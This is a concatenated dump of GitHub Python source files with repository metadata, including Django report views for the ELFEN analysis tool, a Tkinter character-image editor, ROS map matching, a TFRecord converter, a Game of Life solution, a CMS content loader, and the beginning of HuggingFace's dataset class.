submission_uuid: Submission (aka task) UUID\n :type submission_uuid: str\n :return: HTTP response\n :rtype: django.http.response.HttpResponse\n \"\"\"\n all_reports = get_all_reports(submission_uuid, web=True)\n\n if all_reports is None:\n context = {\n \"msg\": f\"Task UUID: {submission_uuid} not found. You may have to \"\n \"wait for a few seconds until the task is registered in the database. \"\n \"Refresh the page to check again.\"\n }\n return render(request, \"web/404.html\", context=context, status=404)\n\n return render(request, \"web/report_file.html\", all_reports)\n\n\ndef elf_backend_report(request, submission_uuid, backend):\n \"\"\"\n This function returns the analysis report for a given backend for a\n given task UUID.\n\n :param request: WSGIRequest\n :type request: django.core.handlers.wsgi.WSGIRequest\n :param submission_uuid: Submission (aka task) UUID\n :type submission_uuid: str\n :param backend: ELFEN backend name\n :type backend: str\n :return: HTTP response\n :rtype: django.http.response.HttpResponse\n \"\"\"\n report = get_backend_report(submission_uuid, backend)\n\n context = {\n \"submission_uuid\": submission_uuid,\n \"backend\": backend,\n \"report\": report\n }\n\n return render(request, \"web/report_backend.html\", context)\n\n\ndef not_found(request, exception):\n return render(request, \"web/404.html\", status=404)\n\n\ndef download(request, submission_uuid, backend):\n \"\"\"\n This function downloads the artifact for a given backend for a\n given task UUID.\n\n :param request: WSGIRequest\n :type request: django.core.handlers.wsgi.WSGIRequest\n :param submission_uuid: Submission (aka task) UUID\n :type submission_uuid: str\n :param backend: ELFEN backend name\n :type backend: str\n :return: Artifact file or HTTP response\n :rtype: django.http.response.FileResponse or django.http.response.HttpResponse\n \"\"\"\n fd = download_artifact(submission_uuid, backend)\n\n if fd:\n return FileResponse(fd, as_attachment=True)\n\n return render(request, \"web/404.html\", status=404)\n","repo_name":"nikhilh-20/ELFEN","sub_path":"web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6366,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"37"} +{"seq_id":"26640009693","text":"from PIL import Image, ImageTk\nimport os\n\nclass CharacterManip:\n \"\"\"The goal of this object is to represent the Character as a whole.\n\n Will take in information about what the character should look like. Will then manipulate\n the image to represent the given input. After will return data that TKinter will be able\n to display.\n\n Each funtion should return the new image. You should NEVER have to edit self.character/\n whatever we come up with. We want to keep loading to a minumum.\n \"\"\"\n\n def __init__(self):\n \"\"\"Should initialize with the Species, Gender, and Color of the character.\n\n\n :param species:\n \"\"\"\n self.species = \"\"\n self.gender = \"\"\n self.color = 0 # int\n\n self.human_colors = [\"#ffdbac\",\n \"#f1c27d\",\n \"#e0ac69\",\n \"#c68642\",\n \"#8d5524\"]\n\n self.bear_colors = [\"#ffe7b5\",\n \"#ffde58\",\n \"#d76300\",\n \"#633800\",\n \"#eff5eb\"]\n\n self.max_w = 250\n self.max_h = 400\n self.w = 0\n self.h = 0\n # Original image of the character\n self.character = Image.new(\"RGB\", (self.max_w, self.max_h))\n self.base = Image.new(\"RGB\", (self.max_w, self.max_h))\n self.mod = Image.new(\"RGB\", (self.max_w, self.max_h))\n self.m_skin = Image.new(\"L\", (self.max_w, self.max_h))\n # List of clothes filenames\n self.f_shirts = []\n self.f_pants = []\n self.f_shoes = []\n # List of clothes masks\n self.shirts = []\n self.pants = []\n self.shoes = []\n\n self.curr_shirt = 0\n self.curr_pants = 0\n self.curr_shoes = 0\n\n self.def_col = \"#ff0000\"\n self.col_shirt = self.def_col\n self.col_pants = self.def_col\n self.col_shoes = self.def_col\n # self.col_skin = self.human_colors[color] # String\n self.col_skin = self.human_colors[0]\n\n # self.update_character(species, gender, color)\n\n # Masks for the different clothing items\n # Might need to be in lists or called only when needed\n\n # self.tshirt_mask = Image.open(os.path.join(\"assets\", \"tshirt_mask.gif\"))\n # self.tshirt_mask = self.tshirt_mask.convert(\"L\")\n\n # This is the color that the character is pasted onto.#\n\n def _open(self, f_name, mode):\n return Image.open(os.path.join(\"assets\", f_name)).convert(mode)\n\n def define_character(self, char):\n \"\"\"Run whenever a character needs to be put back together.\n\n Usually for the display character at the end of creation or before editing.\n\n :return:\n \"\"\"\n\n self.species = char.species\n self.gender = char.gender\n self.color = char.race\n\n self._update_clothes_arrays()\n\n self.curr_shirt = self.f_shirts.index(char.shirt_f_name)\n self.curr_pants = self.f_pants.index(char.pants_f_name)\n self.curr_shoes = self.f_shoes.index(char.shoes_f_name)\n\n self.col_shirt = char.shirt_color\n self.col_pants = char.pants_color\n self.col_shoes = char.shoes_color\n\n self.setAllColor()\n\n def update_character(self, s, g, c):\n \"\"\"Run whenever an attribute of the chracter's phyisical being is changed.\n\n Use this function during the character creation process.\n \"\"\"\n\n self.species = s\n self.gender = g\n self.color = c\n\n self.curr_shirt = 0\n self.curr_pants = 0\n self.curr_shoes = 0\n\n self._update_clothes_arrays()\n\n self.setAllColor()\n\n def _update_clothes_arrays(self):\n self.shirts = []\n self.pants = []\n self.shoes = []\n\n if self.species == \"Human\" and self.gender == \"Female\":\n self.character = self._open(\"fe_base.gif\", \"RGB\")\n self.m_skin = self._open(\"fe_m_skin.gif\", \"L\")\n # Load clothing file names\n self.f_shirts = [\"fe_m_blouse.gif\",\n \"fe_m_crop.gif\"]\n self.f_pants = [\"fe_m_jeans.gif\",\n \"fe_m_skirt.gif\"]\n self.f_shoes = [\"fe_m_tennis_shoes.gif\",\n \"fe_m_boots.gif\"]\n\n elif self.species == \"Human\" and self.gender == \"Male\":\n self.character = self._open(\"ma_base.gif\", \"RGB\")\n self.m_skin = self._open(\"ma_m_skin.gif\", \"L\")\n # Load clothing file names\n self.f_shirts = [\"ma_m_t_shirt.gif\",\n \"ma_m_long_sleeve.gif\"]\n self.f_pants = [\"ma_m_shorts.gif\",\n \"ma_m_long_jeans.gif\"]\n self.f_shoes = [\"ma_m_loafers.gif\",\n \"ma_m_tennis_shoes.gif\"]\n\n elif self.species == \"Bear\" and self.gender == \"Male\":\n self.character = self._open(\"bm_base.gif\", \"RGB\")\n self.m_skin = self._open(\"bm_m_skin.gif\", \"L\")\n # Load clothing file names\n self.f_shirts = [\"bm_m_t_shirt.gif\",\n \"bm_m_button_up.gif\"]\n self.f_pants = [\"bm_m_shorts.gif\",\n \"bm_m_jeans.gif\"]\n self.f_shoes = [\"bm_m_tennis_shoes.gif\"]\n\n elif self.species == \"Bear\" and self.gender == \"Female\":\n self.character = self._open(\"bf_base.gif\", \"RGB\")\n self.m_skin = self._open(\"bf_m_skin.gif\", \"L\")\n # Load clothing file names\n # Using the male clothes cuz im lazy\n self.f_shirts = [\"bm_m_t_shirt.gif\",\n \"bm_m_button_up.gif\"]\n self.f_pants = [\"bm_m_shorts.gif\",\n \"bm_m_jeans.gif\"]\n self.f_shoes = [\"bm_m_tennis_shoes.gif\"]\n\n for f_name in self.f_shirts:\n self.shirts.append(self._open(f_name, \"L\"))\n for f_name in self.f_pants:\n self.pants.append(self._open(f_name, \"L\"))\n for f_name in self.f_shoes:\n self.shoes.append(self._open(f_name, \"L\"))\n\n self.w, self.h = self.character.size\n # Scaling\n self.ratio = min(self.max_w / self.w, self.max_h / self.h)\n self.w = int(self.w * self.ratio)\n self.h = int(self.h * self.ratio)\n # Resize character image\n self.character = self.character.resize((self.w, self.h), Image.ANTIALIAS)\n self.base = self.character.copy()\n if self.m_skin:\n self.m_skin = self.m_skin.resize((self.w, self.h), Image.ANTIALIAS)\n\n # Resize clothes\n for i in range(len(self.shirts)):\n self.shirts[i] = self.shirts[i].resize((self.w, self.h), Image.ANTIALIAS)\n for i in range(len(self.pants)):\n self.pants[i] = self.pants[i].resize((self.w, self.h), Image.ANTIALIAS)\n for i in range(len(self.shoes)):\n self.shoes[i] = self.shoes[i].resize((self.w, self.h), Image.ANTIALIAS)\n\n def setAllColor(self):\n if self.species == \"Human\" and self.m_skin:\n self.setSkinColor(self.human_colors[self.color])\n elif self.species == \"Bear\" and self.m_skin:\n self.setSkinColor(self.bear_colors[self.color])\n\n self.setShirtColor(self.col_shirt)\n self.setPantsColor(self.col_pants)\n self.setShoesColor(self.col_shoes)\n\n def setSkinColor(self, rgbHex):\n self.col_skin = rgbHex\n self.mod = Image.new(\"RGB\", (self.w, self.h), self.col_skin)\n self.character.paste(self.mod, mask=self.m_skin)\n\n\n def setShirtColor(self, rgbHex):\n \"\"\"Creates and returns a tKinter image with the correct color shirt.\"\"\"\n self.col_shirt = rgbHex\n if self.shirts:\n self.mod = Image.new(\"RGB\", (self.w, self.h), self.col_shirt)\n # Pastes the color (mod) into the white area of the mask.\n self.character.paste(self.mod, mask=self.shirts[self.curr_shirt])\n return ImageTk.PhotoImage(self.character)\n\n def setPantsColor(self, rgbHex):\n \"\"\"Creates and returns a tKinter image with the correct color pants.\"\"\"\n self.col_pants = rgbHex\n if self.pants:\n self.mod = Image.new(\"RGB\", (self.w, self.h), self.col_pants)\n self.character.paste(self.mod, mask=self.pants[self.curr_pants])\n return ImageTk.PhotoImage(self.character)\n\n def setShoesColor(self, rgbHex):\n \"\"\"Creates and returns a tKinter image with the correct color shoes.\"\"\"\n self.col_shoes = rgbHex\n if self.shoes:\n self.mod = Image.new(\"RGB\", (self.w, self.h), self.col_shoes)\n self.character.paste(self.mod, mask=self.shoes[self.curr_shoes])\n\n return ImageTk.PhotoImage(self.character)\n\n def _shirtLeft(self):\n self.curr_shirt -= 1\n if (self.curr_shirt <= -1):\n self.curr_shirt = len(self.shirts) - 1\n self.character = self.base.copy()\n self.setAllColor()\n\n def _shirtRight(self):\n self.curr_shirt += 1\n if (self.curr_shirt >= len(self.shirts)):\n self.curr_shirt = 0\n self.character = self.base.copy()\n self.setAllColor()\n\n def _pantsLeft(self):\n self.curr_pants -= 1\n if (self.curr_pants <= -1):\n self.curr_pants = len(self.pants) - 1\n self.character = self.base.copy()\n self.setAllColor()\n\n def _pantsRight(self):\n self.curr_pants += 1\n if (self.curr_pants >= len(self.pants)):\n self.curr_pants = 0\n self.character = self.base.copy()\n self.setAllColor()\n\n def _shoesLeft(self):\n self.curr_shoes -= 1\n if (self.curr_shoes <= -1):\n self.curr_shoes = len(self.shoes) - 1\n self.character = self.base.copy()\n self.setAllColor()\n\n def _shoesRight(self):\n self.curr_shoes += 1\n if (self.curr_shoes >= len(self.shoes)):\n self.curr_shoes = 0\n self.character = self.base.copy()\n self.setAllColor()\n\n def returnGIF(self):\n return ImageTk.PhotoImage(self.character)\n","repo_name":"GRNCheetah/database-character-creator","sub_path":"ImageEdit.py","file_name":"ImageEdit.py","file_ext":"py","file_size_in_byte":10104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3239535606","text":"import rospy\nfrom collections import OrderedDict\n\nimport time\nfrom std_msgs.msg import Float64\n\nclass map_match:\n\tdef __init__(self, path):\n\t\tself.path = path\n\t\tself.nodes_gdf = self.path.get_path_nodes()\n\t\tself.edges_gdf = self.path.get_path_edges()\n\t\t\n\t\t# self.time_pub = rospy.Publisher('time_computation', Float64, queue_size=1)\n\n\t\tself.init_search_radius = rospy.get_param(\"/road_estimation/search_radius\")\n\n\t\t# self.file = open(\"/home/mustafaismail/Documents/GP/catkin_ws/src/gps_road_estimation/src/time.txt\", \"w\") \n\n\tdef get_projected_p(self, odom_point):\n\t\tself.search_radius = self.init_search_radius\n\t\t\n\t\tdistance = []\n\t\tfor edge in self.get_candidate_edges(odom_point):\n\t\t\tline_string = self.edges_gdf[(self.edges_gdf.u == edge[0]) & (self.edges_gdf.v == edge[1])].geometry\n\t\t\tdistance.append([line_string.distance(odom_point), edge, line_string])\n\n\t\ttup = min(distance, key = lambda t: t[0].values)\n\t\ttrue_edge = tup[1]\n\t\ttrue_edge_geom = tup[2].item()\n\n\t\tprojected_point = true_edge_geom.interpolate(true_edge_geom.project(odom_point)) # projected point\n\n\t\treturn projected_point, true_edge[0]\n\n\tdef get_candidate_edges(self, odom_point):\n\t\twhile True:\n\t\t\tcircle = odom_point.buffer(self.search_radius) \n\t\t\tpossible_matches_index = list(self.edges_gdf.sindex.intersection((circle.bounds))) \n\t\t\tpossible_matches = self.edges_gdf.iloc[possible_matches_index] \n\t\t\tprecise_matches = possible_matches[possible_matches.intersects(circle)]\n\t\t\tcandidate_ed = list(precise_matches.index)\n\n\t\t\tif len(candidate_ed) != 0:\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tself.search_radius += self.init_search_radius\n\n\t\tcandidate_edges = []\n\t\tfor edge_id in candidate_ed:\n\t\t\tpoint_tuple = (edge_id, edge_id+1)\n\t\t\tcandidate_edges.append(point_tuple)\n\t\t\t# first node\n\t\t\t# if node_id == 0:\n\t\t\t# \tpoint_tuple_out = (node_id, node_id+1)\n\t\t\t# \tcandidate_edges.append(point_tuple_out)\n\t\t\t# # last node\n\t\t\t# elif node_id == len(self.nodes_gdf)-1:\n\t\t\t# point_tuple_in = (node_id-1, node_id)\n\t\t\t# candidate_edges.append(point_tuple_in)\n\t\t\t# # any other node\n\t\t\t# else:\n\t\t\t# point_tuple_in = (node_id-1, node_id)\n\t\t\t# point_tuple_out = (node_id, node_id+1)\n\t\t\t# candidate_edges.append(point_tuple_in)\n\t\t\t# candidate_edges.append(point_tuple_out)\n\n\t\tcandidate_edges = list(OrderedDict.fromkeys(candidate_edges))\n\n\t\treturn candidate_edges\n\n\t\t# candidate_edges = []\n\t\t# for node_id in self.get_candidate_nodes(odom_point):\n\t\t# \t# first node\n\t\t# \tif node_id == 0:\n\t\t# \t\tpoint_tuple_out = (node_id, node_id+1)\n\t\t# \t\tcandidate_edges.append(point_tuple_out)\n\t\t# \t# last node\n\t\t# \telif node_id == len(self.nodes_gdf)-1:\n\t\t# \t point_tuple_in = (node_id-1, node_id)\n\t\t# \t candidate_edges.append(point_tuple_in)\n\t\t# \t# any other node\n\t\t# \telse:\n\t\t# \t point_tuple_in = (node_id-1, node_id)\n\t\t# \t point_tuple_out = (node_id, node_id+1)\n\t\t# \t candidate_edges.append(point_tuple_in)\n\t\t# \t candidate_edges.append(point_tuple_out)\n\n\t\t# candidate_edges = list(OrderedDict.fromkeys(candidate_edges))\n\n\t# def get_candidate_nodes(self, odom_point):\n\t# \twhile True:\n\t# \t\tcircle = odom_point.buffer(self.search_radius) \n\t# \t\tpossible_matches_index = list(self.nodes_spatial_index.intersection((circle.bounds))) \n\t# \t\tpossible_matches = self.nodes_gdf.iloc[possible_matches_index] \n\t# \t\tprecise_matches = possible_matches[possible_matches.intersects(circle)]\n\t# \t\tcandidate_nodes = list(precise_matches.index)\n\n\t# \t\tif len(candidate_nodes) != 0:\n\t# \t\t\tbreak\n\t# \t\telse:\n\t# \t\t\t# rospy.loginfo(self.search_radius)\n\t# \t\t\tself.search_radius += 5\n\n\t# \treturn candidate_nodes\n","repo_name":"BLue1881euLB/gps2road","sub_path":"gps_road_estimation-master/src/map_match.py","file_name":"map_match.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33386112839","text":"r\"\"\"Downloads and converts Flowers data to TFRecords of TF-Example protos.\n\nThis module downloads the Flowers data, uncompresses it, reads the files\nthat make up the Flowers data and creates two TFRecord datasets: one for train\nand one for test. Each TFRecord dataset is comprised of a set of TF-Example\nprotocol buffers, each of which contain a single image and label.\n\nThe script should take about a minute to run.\n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport math\nimport os\nimport random\nimport sys\nimport csv\nimport tensorflow as tf\nimport cv2\nfrom datasets import dataset_utils\n\n# The number of images in the validation set.\n_NUM_VALIDATION = 40000\n\n# Seed for repeatability.\n_RANDOM_SEED = 0\n\n# The number of shards per dataset split.\n_NUM_SHARDS = 5\n\n\nclass ImageReader(object):\n \"\"\"Helper class that provides TensorFlow image coding utilities.\"\"\"\n\n def __init__(self):\n # Initializes function that decodes RGB JPEG data.\n self._decode_png_data = tf.placeholder(dtype=tf.string)\n self._decode_png = tf.image.decode_png(self._decode_png_data, channels=3)\n\n def read_image_dims(self, sess, image_data):\n image = self.decode_png(sess, image_data)\n return image.shape[0], image.shape[1]\n\n def decode_png(self, sess, image_data):\n image = sess.run(self._decode_png,\n feed_dict={self._decode_png_data: image_data})\n assert len(image.shape) == 3\n assert image.shape[2] == 3\n return image\n\n\ndef _get_filenames_and_classes(dataset_dir, split_name):\n \"\"\"Returns a list of filenames and inferred class names.\n\n Args:\n dataset_dir: A directory containing a set of subdirectories representing\n class names. Each subdirectory should contain PNG or JPG encoded images.\n\n Returns:\n A list of image file paths, relative to `dataset_dir` and the list of\n subdirectories, representing class names.\n \"\"\"\n annotations_root = os.path.join(dataset_dir, 'labels')\n images_root = os.path.join(dataset_dir, 'images')\n split_file = os.path.join(annotations_root, split_name)\n file_names = []\n labels = []\n counter = 0\n with open(split_file + '.txt') as csvFile:\n read_object = csv.reader(csvFile, delimiter= ' ')\n for row in read_object:\n print(row[0])\n abs_file = os.path.join(images_root, row[0])\n # file_names.append(abs_file)\n image = cv2.imread(abs_file)\n new_name = row[0].split('.')[0]\n final_image_name = os.path.join(images_root, new_name + '.png')\n print(final_image_name)\n print(cv2.imwrite(final_image_name, image))\n file_names.append(final_image_name)\n labels.append(int(row[1]))\n return file_names, labels\n\ndef _get_dataset_filename(dataset_dir, split_name, shard_id):\n output_filename = 'documents_%s_%05d-of-%05d.tfrecord' % (\n split_name, shard_id, _NUM_SHARDS)\n return os.path.join(dataset_dir, output_filename)\n\ndef _convert_dataset(split_name, image_names, image_labels, dataset_dir):\n \"\"\"Converts the given filenames to a TFRecord dataset.\n\n Args:\n split_name: The name of the dataset, either 'train' or 'validation'.\n filenames: A list of absolute paths to png or jpg images.\n class_names_to_ids: A dictionary from class names (strings) to ids\n (integers).\n dataset_dir: The directory where the converted datasets are stored.\n \"\"\"\n filenames = image_names\n assert split_name in ['train', 'val']\n\n num_per_shard = int(math.ceil(len(filenames) / float(_NUM_SHARDS)))\n\n with tf.Graph().as_default():\n image_reader = ImageReader()\n\n with tf.Session('') as sess:\n\n for shard_id in range(_NUM_SHARDS):\n output_filename = _get_dataset_filename(\n dataset_dir, split_name, shard_id)\n\n with tf.python_io.TFRecordWriter(output_filename) as tfrecord_writer:\n start_ndx = shard_id * num_per_shard\n end_ndx = min((shard_id+1) * num_per_shard, len(filenames))\n for i in range(start_ndx, end_ndx):\n sys.stdout.write('\\r>> Converting image %d/%d shard %d' % (\n i+1, len(filenames), shard_id))\n sys.stdout.flush()\n\n # Read the filename:\n print (filenames[i])\n image_data = tf.gfile.FastGFile(filenames[i], 'rb').read()\n height, width = image_reader.read_image_dims(sess, image_data)\n\n class_id = int(image_labels[i])\n\n example = dataset_utils.image_to_tfexample(\n image_data, b'png', height, width, class_id)\n tfrecord_writer.write(example.SerializeToString())\n\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\ndef _get_labels_map(dataset_dir):\n \"\"\"Returns a list of filenames and inferred class names.\n\n Args:\n dataset_dir: A directory containing a set of subdirectories representing\n class names. Each subdirectory should contain PNG or JPG encoded images.\n\n Returns:\n A list of image file paths, relative to `dataset_dir` and the list of\n subdirectories, representing class names.\n \"\"\"\n dataset_root = dataset_dir\n labels_map_file = os.path.join(dataset_root,'labels', 'label_map.txt')\n label_id = []\n label_name = []\n\n with open(labels_map_file) as csvFile:\n read_object = csv.reader(csvFile, delimiter= ' ')\n for row in read_object:\n label_id.append(int(row[0]))\n label_name.append(row[1])\n return label_name, label_id\n\n\ndef run(dataset_dir):\n \"\"\"Runs the download and conversion operation.\n\n Args:\n dataset_dir: The dataset directory where the dataset is stored.\n \"\"\"\n tf_record_directory = dataset_dir\n if not tf.gfile.Exists(tf_record_directory):\n tf.gfile.MakeDirs(tf_record_directory)\n\n # dataset_utils.download_and_uncompress_tarball(_DATA_URL, dataset_dir)\n image_names, image_labels = _get_filenames_and_classes(dataset_dir, split_name='train')\n class_names, class_id = _get_labels_map(dataset_dir)\n print(class_names)\n class_names_to_ids = dict(zip(class_names, class_id))\n _convert_dataset(split_name = 'train', dataset_dir = tf_record_directory, image_names = image_names, image_labels = image_labels)\n\n image_names, image_labels = _get_filenames_and_classes(dataset_dir, split_name='val')\n class_names, class_id = _get_labels_map(dataset_dir)\n print(class_names)\n #class_names_to_ids = dict(zip(class_names, class_id))\n _convert_dataset(split_name = 'val', dataset_dir = tf_record_directory, image_names = image_names, image_labels = image_labels)\n\n # Finally, write the labels file:\n labels_to_class_names = dict((v, k) for k, v in class_names_to_ids.items())\n dataset_utils.write_label_file(labels_to_class_names, dataset_dir)\n print('\\nFinished converting the documents dataset!')\n","repo_name":"sunsided/cb","sub_path":"datasets/convert_document_images.py","file_name":"convert_document_images.py","file_ext":"py","file_size_in_byte":6739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41957060781","text":"from typing import List\n\nclass Solution:\n '''\n LeetCode Monthly Challenge problem for December 30th, 2020.\n '''\n def gameOfLife(self, board: List[List[int]]) -> None:\n '''\n Background reading: John Horton Conway's Game of Life.\n \n Given an M x N grid of cells, modifies the board in-place to the next\n state. A live cell is represented by 1, and a dead cell is prepresented\n by a 0. A cell's next state is determined by the following rules:\n \n Any live cell with fewer than two live neighbors dies\n Any live cell with two or three live neighbors lives\n Any live cell with more than three live neighbors dies\n Any dead cell with exactly three live neighbors becomes a live cell\n \n Constraints:\n m == len(board)\n n == len(board[i])\n 1 <= m, n <= 25\n board[i][j] is 0 or 1\n \n Params:\n board - A list of binary lists.\n \n Returns:\n None - Board is modified in-place to the next state.\n \n Examples:\n Below are examples of boards and their next state:\n \n [[0,1,0], [[0,0,0],\n [0,0,1], -> [1,0,1],\n [1,1,1], [0,1,1],\n [0,0,0]] [0,1,0]]\n \n \n [[1,1], [[1,1],\n [1,0]] -> [1,1]]\n '''\n if not len(board) or not len(board[0]):\n return\n \n for row in board:\n if len(row) != len(board[0]):\n return\n \n m = len(board)\n n = len(board[0])\n \n # Visit each cell of board\n for row in range(m):\n for col in range(n):\n \n # check rightmost neighbor of current cell and\n # all neighbors below current cell\n for y, x in [(0,1),(1,-1),(1,0),(1,1)]:\n if 0 <= col + x < n and row + y < m:\n board[row][col] += 2 * (board[row+y][col+x] % 2)\n board[row+y][col+x] += 2 * (board[row][col] % 2)\n \n if 5 <= board[row][col] <= 7:\n board[row][col] = 1\n else:\n board[row][col] = 0\n","repo_name":"Hilldrupca/LeetCode","sub_path":"python/Monthly/Dec2020/gameoflife.py","file_name":"gameoflife.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4277146706","text":"# coding: utf-8\n'''\nContent discovery and provision.\n'''\n\nimport os\nimport yaml\nimport json\nimport canvas as cv\nimport canvas.ext as cve\n\nfrom json import JSONDecodeError as JSONParserError\nfrom yaml.parser import ParserError as YAMLParserError\n\nfrom .exceptions import NoSuchContent, ContentSyntaxError\n\nlog = cv.logger(__name__)\n\nclass ParserError(JSONParserError, YAMLParserError): pass\n\nclass Content:\n\tinstances = dict()\n\n\tdef __init__(self, typ, content, page_description):\n\t\tself.type, self.content = typ, content\n\t\tself.page_description = page_description\n\n\t@classmethod\n\tdef create(cls, name, content_data):\n\t\tdef attributize(item):\n\t\t\tif isinstance(item, dict):\n\t\t\t\tfor key, value in item.items():\n\t\t\t\t\titem[key] = attributize(value)\n\t\t\t\titem = cve.AttributedDict(item)\n\t\t\telif isinstance(item, (list, tuple)):\n\t\t\t\tfor i, value in enumerate(item):\n\t\t\t\t\titem[i] = attributize(value)\n\t\t\treturn item\n\n\t\tinstance = Content(\n\t\t\tcontent_data.get('type'), \n\t\t\tattributize(content_data['content']),\n\t\t\tcontent_data.get('page_description')\n\t\t)\n\t\tcls.instances[name] = instance\n\t\treturn instance\n\n\t@classmethod\n\tdef get(cls, name):\n\t\tif cv.config.development.debug:\n\t\t\toccur = cv.get_path('content', '%s.yaml'%name)\n\t\t\tparser = yaml.load\n\t\t\tif not occur:\n\t\t\t\toccur = cv.get_path('content', '%s.json'%name)\n\t\t\t\tparser = json.load\n\t\t\t\tif not occur:\n\t\t\t\t\traise NoSuchContent(name)\n\n\t\t\twith open(occur) as content_file:\n\t\t\t\treturn Content.create(name, parser(content_file))\n\n\t\tif name not in cls.instances:\n\t\t\traise NoSuchContent(name)\n\n\t\treturn cls.instances[name]\n\n\t@classmethod\n\tdef items(cls):\n\t\treturn cls.instances.items()\n\ndef get_content(content_key):\n\treturn Content.get(content_key).content\n\n@cv.on_init\ndef load_contents():\n\tlog.info('Finding static content...')\n\tfor content_dir in cve.get_path_occurrences('content', is_dir=True):\n\t\tfor filename in os.listdir(content_dir):\n\t\t\tcontent_name, ext = filename.split('.')\n\t\t\tif ext == 'yaml':\n\t\t\t\tparser = yaml.load\n\t\t\telif ext == 'json':\n\t\t\t\tparser = json.load\n\t\t\telse:\n\t\t\t\tcontinue\n\n\t\t\twith open(os.path.join(content_dir, filename)) as content_file:\n\t\t\t\ttry:\n\t\t\t\t\tloaded_content = parser(content_file)\n\t\t\t\texcept ParserError as ex:\n\t\t\t\t\traise ContentSyntaxError(str(ex)) from None\n\t\t\t\tContent.create(content_name, loaded_content)\n\n\tlog.info('\\n'.join((\n\t\t'Loaded content:', *(item[0] for item in Content.items())\n\t)))\n","repo_name":"robinsax/canvas-plugin-multirepo","sub_path":"cvpl-cms/cms/content.py","file_name":"content.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2341005760","text":"import contextlib\nimport json\nimport os\nimport pickle\nimport shutil\nimport tempfile\nfrom collections import defaultdict\nfrom collections.abc import Iterable, Mapping\nfrom dataclasses import asdict\nfrom functools import partial, wraps\nfrom math import ceil, floor\nfrom multiprocessing import Pool, RLock\nfrom typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Tuple, Union\n\nimport numpy as np\nimport pandas as pd\nimport pyarrow as pa\nfrom tqdm.auto import tqdm\n\nfrom .arrow_reader import ArrowReader\nfrom .arrow_writer import ArrowWriter, TypedSequence\nfrom .features import Features, Value, cast_to_python_objects, pandas_types_mapper\nfrom .fingerprint import fingerprint, generate_fingerprint, update_fingerprint\nfrom .info import DatasetInfo\nfrom .search import IndexableMixin\nfrom .splits import NamedSplit\nfrom .utils import map_nested\nfrom .utils.logging import WARNING, get_logger, get_verbosity, set_verbosity_warning\n\n\nif TYPE_CHECKING:\n from .dataset_dict import DatasetDict\n\nlogger = get_logger(__name__)\n\nif int(pa.__version__.split(\".\")[0]) == 0:\n PYARROW_V0 = True\nelse:\n PYARROW_V0 = False\n\n\nclass DatasetInfoMixin(object):\n \"\"\"This base class exposes some attributes of DatasetInfo\n at the base level of the Dataset for easy access.\n \"\"\"\n\n def __init__(self, info: DatasetInfo, split: Optional[NamedSplit]):\n self._info = info\n self._split = split\n\n @property\n def info(self):\n \"\"\" :class:`datasets.DatasetInfo` object containing all the metadata in the dataset.\"\"\"\n return self._info\n\n @property\n def split(self):\n \"\"\" :class:`datasets.DatasetInfo` object containing all the metadata in the dataset.\"\"\"\n return self._split\n\n @property\n def builder_name(self) -> str:\n return self._info.builder_name\n\n @property\n def citation(self) -> str:\n return self._info.citation\n\n @property\n def config_name(self) -> str:\n return self._info.config_name\n\n @property\n def dataset_size(self) -> Optional[int]:\n return self._info.dataset_size\n\n @property\n def description(self) -> str:\n return self._info.description\n\n @property\n def download_checksums(self) -> Optional[dict]:\n return self._info.download_checksums\n\n @property\n def download_size(self) -> Optional[int]:\n return self._info.download_size\n\n @property\n def features(self) -> Features:\n return self._info.features\n\n @property\n def homepage(self) -> Optional[str]:\n return self._info.homepage\n\n @property\n def license(self) -> Optional[str]:\n return self._info.license\n\n @property\n def size_in_bytes(self) -> Optional[int]:\n return self._info.size_in_bytes\n\n @property\n def supervised_keys(self):\n return self._info.supervised_keys\n\n @property\n def version(self):\n return self._info.version\n\n\nclass DatasetTransformationNotAllowedError(Exception):\n pass\n\n\ndef transmit_format(func):\n \"\"\"Wrapper for dataset transforms that are not in-place to transmit the format of the original dataset to the new dataset\"\"\"\n\n @wraps(func)\n def wrapper(*args, **kwargs):\n if args:\n self: \"Dataset\" = args[0]\n args = args[1:]\n else:\n self: \"Dataset\" = kwargs.pop(\"self\")\n # don't use self.format since it returns a list of columns for 'columns' even if self_format_columns is None\n new_format = {\n \"type\": self._format_type,\n \"format_kwargs\": self._format_kwargs,\n \"columns\": self._format_columns,\n \"output_all_columns\": self._output_all_columns,\n }\n out: Union[\"Dataset\", \"DatasetDict\"] = func(self, *args, **kwargs)\n if new_format[\"columns\"] is not None:\n new_format[\"columns\"] = list(set(new_format[\"columns\"]) & set(out.column_names))\n datasets: List[\"Dataset\"] = list(out.values()) if isinstance(out, dict) else [out]\n for dataset in datasets:\n out_format = {\n \"type\": dataset._format_type,\n \"format_kwargs\": dataset._format_kwargs,\n \"columns\": dataset._format_columns,\n \"output_all_columns\": dataset._output_all_columns,\n }\n if out_format != new_format:\n dataset.set_format(**new_format)\n return out\n\n wrapper._decorator_name_ = \"transmit_format\"\n return wrapper\n\n\nclass Dataset(DatasetInfoMixin, IndexableMixin):\n \"\"\"A Dataset backed by an Arrow table or Record Batch.\"\"\"\n\n def __init__(\n self,\n arrow_table: pa.Table,\n data_files: Optional[List[dict]] = None,\n info: Optional[DatasetInfo] = None,\n split: Optional[NamedSplit] = None,\n indices_table: Optional[pa.Table] = None,\n indices_data_files: Optional[List[dict]] = None,\n fingerprint: Optional[str] = None,\n inplace_history: Optional[List[dict]] = None,\n ):\n info = info.copy() if info is not None else DatasetInfo()\n DatasetInfoMixin.__init__(self, info=info, split=split)\n IndexableMixin.__init__(self)\n self._data: pa.Table = 